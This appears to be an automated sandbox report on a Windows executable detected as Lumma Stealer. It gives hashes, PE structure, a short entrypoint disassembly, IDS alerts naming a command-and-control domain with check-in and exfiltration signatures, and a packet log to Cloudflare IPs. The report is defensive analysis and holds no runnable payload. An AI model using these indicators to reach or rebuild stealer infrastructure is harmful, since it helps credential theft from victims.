	8Bd1K3FM7v.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.164.37
	WTI4lrpauV.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	172.67.164.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.50.161
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	AzunBFiz02.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	MessengerAdmin.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	SOjID1t3un.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	8Bd1K3FM7v.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	https://t.co/eSJUUrWOcO	Get hash	malicious	HTMLPhisher	Browse	104.26.4.15
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.164.37
	WTI4lrpauV.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	A6IuJ5NneS.lnk	Get hash	malicious	LummaC	Browse	104.21.112.1
	https://cavotec-au.sharefile.com/public/share/web-1271a93971714a91	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	attachment.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
CLOUDFLARENETUS	AzunBFiz02.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	MessengerAdmin.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	SOjID1t3un.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	8Bd1K3FM7v.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	https://t.co/eSJUUrWOcO	Get hash	malicious	HTMLPhisher	Browse	104.26.4.15
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.164.37
	WTI4lrpauV.exe	Get hash	malicious	LummaC	Browse	172.67.164.37
	A6IuJ5NneS.lnk	Get hash	malicious	LummaC	Browse	104.21.112.1
	https://cavotec-au.sharefile.com/public/share/web-1271a93971714a91	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	attachment.eml	Get hash	malicious	Unknown	Browse	1.1.1.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	AzunBFiz02.exe	Get hash	malicious	LummaC	Browse	104.21.50.161 172.67.164.37
	MessengerAdmin.exe	Get hash	malicious	LummaC	Browse	104.21.50.161 172.67.164.37
	SOjID1t3un.exe	Get hash	malicious	LummaC	Browse	104.21.50.161 172.67.164.37
	8Bd1K3FM7v.exe	Get hash	malicious	LummaC	Browse	104.21.50.161 172.67.164.37
	PqiALr4HeI.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.50.161 172.67.164.37
	WTI4lrpauV.exe	Get hash	malicious	LummaC	Browse	104.21.50.161 172.67.164.37
	A6IuJ5NneS.lnk	Get hash	malicious	LummaC	Browse	104.21.50.161 172.67.164.37
	KlarnaInvoice229837.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.50.161 172.67.164.37
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	104.21.50.161 172.67.164.37
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	104.21.50.161 172.67.164.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948526173856286
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	hiip7UoiAq.exe
File size:	1'848'832 bytes
MD5:	68a13aa2834765a18fc577743c2ba964
SHA1:	9dffcb3cb8a051e80c5559e36ca554b17573c221
SHA256:	cb2c3ead655928f6de339b184c1996729f1b54614afcae9a271d6a36c866a3bd
SHA512:	7984150efe2ca7aec4d49699cdd127d47efb7f6973ce1f05ce271222622df86e2d2a3d574089744e413473445c560356a8ae11d2ce0b63ef532c5fb5042fafaa
SSDEEP:	49152:qJPtouWMWRnTQfAqUAPt+1LtnjMgkD6qxYUW:qJPBY6v5PkLtnjuUb
TLSH:	978533BD5C0B14D6DCAFA8B8045D8ED29FDD36E21F82E2B86F55333462732421A168DC
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Yg..............................I...........@..........................0I...........@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x890000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6759FE62 [Wed Dec 11 21:04:34 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6190D35CEAh
unpcklps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F6190D37CE5h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	ce9afc0b39ed5578f802f2a1b33b5581	False	1.000140464469178	COM executable for DOS	7.986042454440073	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x2b0	0x400	b1e85b1cd09caefc2d43268be72ef161	False	0.3603515625	data	5.183452444303608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2a0000	0x200	2b6d24cb6dac0a26b8841fac6b43d156	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pueruzso	0x2f4000	0x19b000	0x19b000	47ab0973df1f350115b37480cb44929b	False	0.9948552263914233	data	7.954204900052569	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uufzbkcy	0x48f000	0x1000	0x400	1c4bc41075b3499d3258108bb53c55bb	False	0.8759765625	data	6.524708010722513	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x490000	0x3000	0x2200	3a8625bd345d22b6e9471dfd1a2b8437	False	0.06548713235294118	DOS executable (COM)	0.8406241902609659	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T10:18:41.925218+0100	2058230	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)	1	192.168.2.9	56849	1.1.1.1	53	UDP
2024-12-16T10:18:43.292492+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49717	104.21.50.161	443	TCP
2024-12-16T10:18:43.292492+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49717	104.21.50.161	443	TCP
2024-12-16T10:18:44.099667+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49717	104.21.50.161	443	TCP
2024-12-16T10:18:44.099667+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49717	104.21.50.161	443	TCP
2024-12-16T10:18:45.695896+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49723	104.21.50.161	443	TCP
2024-12-16T10:18:45.695896+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49723	104.21.50.161	443	TCP
2024-12-16T10:18:48.277926+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49723	104.21.50.161	443	TCP
2024-12-16T10:18:48.277926+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49723	104.21.50.161	443	TCP
2024-12-16T10:18:48.682708+0100	2058230	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)	1	192.168.2.9	64154	1.1.1.1	53	UDP
2024-12-16T10:18:50.043975+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49734	172.67.164.37	443	TCP
2024-12-16T10:18:50.043975+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49734	172.67.164.37	443	TCP
2024-12-16T10:18:51.659543+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49734	172.67.164.37	443	TCP
2024-12-16T10:18:53.091889+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49740	172.67.164.37	443	TCP
2024-12-16T10:18:53.091889+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49740	172.67.164.37	443	TCP
2024-12-16T10:18:55.283121+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49746	172.67.164.37	443	TCP
2024-12-16T10:18:55.283121+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49746	172.67.164.37	443	TCP
2024-12-16T10:18:58.734530+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49759	172.67.164.37	443	TCP
2024-12-16T10:18:58.734530+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49759	172.67.164.37	443	TCP
2024-12-16T10:19:01.452367+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49765	172.67.164.37	443	TCP
2024-12-16T10:19:01.452367+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49765	172.67.164.37	443	TCP
2024-12-16T10:19:05.896948+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.9	49776	172.67.164.37	443	TCP
2024-12-16T10:19:05.896948+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49776	172.67.164.37	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 10:18:42.071338892 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:42.071386099 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:42.071469069 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:42.074831009 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:42.074851036 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:43.292397022 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:43.292491913 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:43.295649052 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:43.295655012 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:43.295965910 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:43.348210096 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:43.348210096 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:43.348375082 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:44.099668026 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:44.099765062 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:44.099917889 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:44.105252028 CET	49717	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:44.105274916 CET	443	49717	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:44.483366966 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:44.483418941 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:44.483499050 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:44.483819962 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:44.483843088 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:45.695760965 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:45.695895910 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:45.697246075 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:45.697252989 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:45.697505951 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:45.698937893 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:45.698976040 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:45.699026108 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.278023005 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.278127909 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.278196096 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.278280020 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.278295994 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:48.278327942 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.278337955 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:48.278433084 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.278496981 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:48.278510094 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.283380985 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.283448935 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:48.283478975 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.295476913 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.295613050 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:48.295640945 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.349823952 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:48.397608042 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.445673943 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:48.445698977 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.472774029 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.472795010 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.472894907 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.472943068 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:48.473037004 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:48.473303080 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:48.473303080 CET	49723	443	192.168.2.9	104.21.50.161
Dec 16, 2024 10:18:48.473329067 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.473344088 CET	443	49723	104.21.50.161	192.168.2.9
Dec 16, 2024 10:18:48.824877024 CET	49734	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:48.824945927 CET	443	49734	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:48.825150013 CET	49734	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:48.825625896 CET	49734	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:48.825647116 CET	443	49734	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:50.043742895 CET	443	49734	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:50.043975115 CET	49734	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:50.045149088 CET	49734	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:50.045157909 CET	443	49734	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:50.045954943 CET	443	49734	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:50.047355890 CET	49734	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:50.047471046 CET	49734	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:50.047518015 CET	443	49734	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:51.659621954 CET	443	49734	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:51.659877062 CET	443	49734	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:51.659959078 CET	49734	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:51.660013914 CET	49734	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:51.660032034 CET	443	49734	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:51.877984047 CET	49740	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:51.878022909 CET	443	49740	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:51.878173113 CET	49740	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:51.878532887 CET	49740	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:51.878551960 CET	443	49740	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:53.091795921 CET	443	49740	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:53.091888905 CET	49740	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:53.093331099 CET	49740	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:53.093344927 CET	443	49740	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:53.093573093 CET	443	49740	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:53.095597029 CET	49740	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:53.095765114 CET	49740	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:53.095789909 CET	443	49740	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:53.095856905 CET	49740	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:53.095864058 CET	443	49740	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:53.819247961 CET	443	49740	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:53.819542885 CET	443	49740	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:53.819580078 CET	49740	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:53.819631100 CET	49740	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:54.070472002 CET	49746	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:54.070535898 CET	443	49746	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:54.070655107 CET	49746	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:54.071001053 CET	49746	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:54.071018934 CET	443	49746	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:55.283049107 CET	443	49746	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:55.283121109 CET	49746	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:55.285556078 CET	49746	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:55.285567999 CET	443	49746	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:55.285887003 CET	443	49746	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:55.288039923 CET	49746	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:55.288039923 CET	49746	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:55.288086891 CET	443	49746	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:55.288157940 CET	49746	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:55.288165092 CET	443	49746	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:56.865679979 CET	443	49746	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:56.865798950 CET	443	49746	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:56.865864992 CET	49746	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:56.866033077 CET	49746	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:56.866048098 CET	443	49746	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:57.519879103 CET	49759	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:57.519938946 CET	443	49759	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:57.520015001 CET	49759	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:57.520437956 CET	49759	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:57.520463943 CET	443	49759	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:58.734383106 CET	443	49759	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:58.734529972 CET	49759	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:58.736273050 CET	49759	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:58.736285925 CET	443	49759	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:58.736546993 CET	443	49759	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:58.737962961 CET	49759	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:58.738393068 CET	49759	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:58.738409996 CET	443	49759	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:59.753997087 CET	443	49759	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:59.754086971 CET	443	49759	172.67.164.37	192.168.2.9
Dec 16, 2024 10:18:59.754147053 CET	49759	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:59.754383087 CET	49759	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:18:59.754406929 CET	443	49759	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:00.238059044 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:00.238105059 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:00.238245964 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:00.238660097 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:00.238673925 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:01.452254057 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:01.452367067 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.453675032 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.453685999 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:01.453932047 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:01.467561960 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.468357086 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.468394995 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:01.468626022 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.468657017 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:01.468769073 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.468792915 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:01.469472885 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.469500065 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:01.469641924 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.469670057 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:01.469829082 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.469850063 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:01.469857931 CET	49765	443	192.168.2.9	172.67.164.37
Dec 16, 2024 10:19:01.469871998 CET	443	49765	172.67.164.37	192.168.2.9
Dec 16, 2024 10:19:01.470081091 CET	49765	443	192.168.2.9	172.67.164.37
